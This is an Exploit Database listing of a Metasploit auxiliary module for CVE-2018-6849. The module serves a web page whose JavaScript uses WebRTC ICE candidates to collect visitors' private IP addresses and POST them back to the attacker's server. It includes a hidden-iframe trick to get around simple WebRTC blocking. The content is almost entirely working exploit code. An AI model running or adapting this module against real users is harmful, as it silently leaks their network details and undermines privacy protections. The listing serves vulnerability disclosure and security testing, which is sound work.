WebRTC – Private IP Leakage (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Dhiraj Mishra
  日期： 2018-04-05
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/44403/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name' => "Private IP Leakage to WebPage using WebRTC Function.",
  'Description'=> %q(
  This module exploits a vulnerability in browsers using well-known property of WebRTC (Web Real-Time Communications) which enables Web applications and sites to capture or exchange arbitrary data between browsers without requiring an intermediary.
  ),
  'License'=> MSF_LICENSE,
  'Author' => [
  'Brendan Coles', #MSF Module
  'Dhiraj Mishra'#MSF Module
  ],
  'References' => [
  		[ 'CVE', '2018-6849' ],
  		['URL', 'https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html']
  ],
  'DisclosureDate' => 'Jan 26 2018',
  'Actions'=> [[ 'WebServer' ]],
  'PassiveActions' => [ 'WebServer' ],
  'DefaultAction'=> 'WebServer'
  )
  )
  end
  
  def run
  exploit # start http server
  end
  
  def setup
   # code from: https://github.com/diafygi/webrtc-ips
   @html = <<-JS
  <script>
  //get the IP addresses associated with an account
  function getIPs(callback){
  var ip_dups = {};
  
  //compatibility for firefox and chrome
  var RTCPeerConnection = window.RTCPeerConnection
  || window.mozRTCPeerConnection
  || window.webkitRTCPeerConnection;
  var useWebKit = !!window.webkitRTCPeerConnection;
  
  //bypass naive webrtc blocking using an iframe
  if(!RTCPeerConnection){
  //NOTE: you need to have an iframe in the page right above the script tag
  //
  //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
  //<script>...getIPs called in here...
  //
  var win = iframe.contentWindow;
  RTCPeerConnection = win.RTCPeerConnection
  || win.mozRTCPeerConnection
  || win.webkitRTCPeerConnection;
  useWebKit = !!win.webkitRTCPeerConnection;
  }
  
  //minimal requirements for data connection
  var mediaConstraints = {
  optional: [{RtpDataChannels: true}]
  };
  
  var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
  
  //construct a new RTCPeerConnection
  var pc = new RTCPeerConnection(servers, mediaConstraints);
  
  function handleCandidate(candidate){
  //match just the IP address
  var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
  var ip_addr = ip_regex.exec(candidate)[1];
  
  //remove duplicates
  if(ip_dups[ip_addr] === undefined)
  callback(ip_addr);
  
  ip_dups[ip_addr] = true;
  }
  
  //listen for candidate events
  pc.onicecandidate = function(ice){
  
  //skip non-candidate events
  if(ice.candidate)
  handleCandidate(ice.candidate.candidate);
  };
  
  //create a bogus data channel
  pc.createDataChannel("");
  
  //create an offer sdp
  pc.createOffer(function(result){
  
  //trigger the stun server request
  pc.setLocalDescription(result, function(){}, function(){});
  
  }, function(){});
  
  //wait for a while to let everything done
  setTimeout(function(){
  //read candidate info from local description
  var lines = pc.localDescription.sdp.split('\\n');
  
  lines.forEach(function(line){
  if(line.indexOf('a=candidate:') === 0)
  handleCandidate(line);
  });
  }, 1000);
  }
  
  getIPs(function(ip){
  //console.log(ip);
  var xmlhttp = new XMLHttpRequest;
  xmlhttp.open('POST', window.location, true);
  xmlhttp.send(ip);
  });
  </script>
   JS
  end
  
  def on_request_uri(cli, request)
  case request.method.downcase
  when 'get'
  print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")
  send_response(cli, @html)
  when 'post'
  print_status("#{cli.peerhost}: Received reply:")
  puts request.to_s
  else
  print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
  end
  end
  end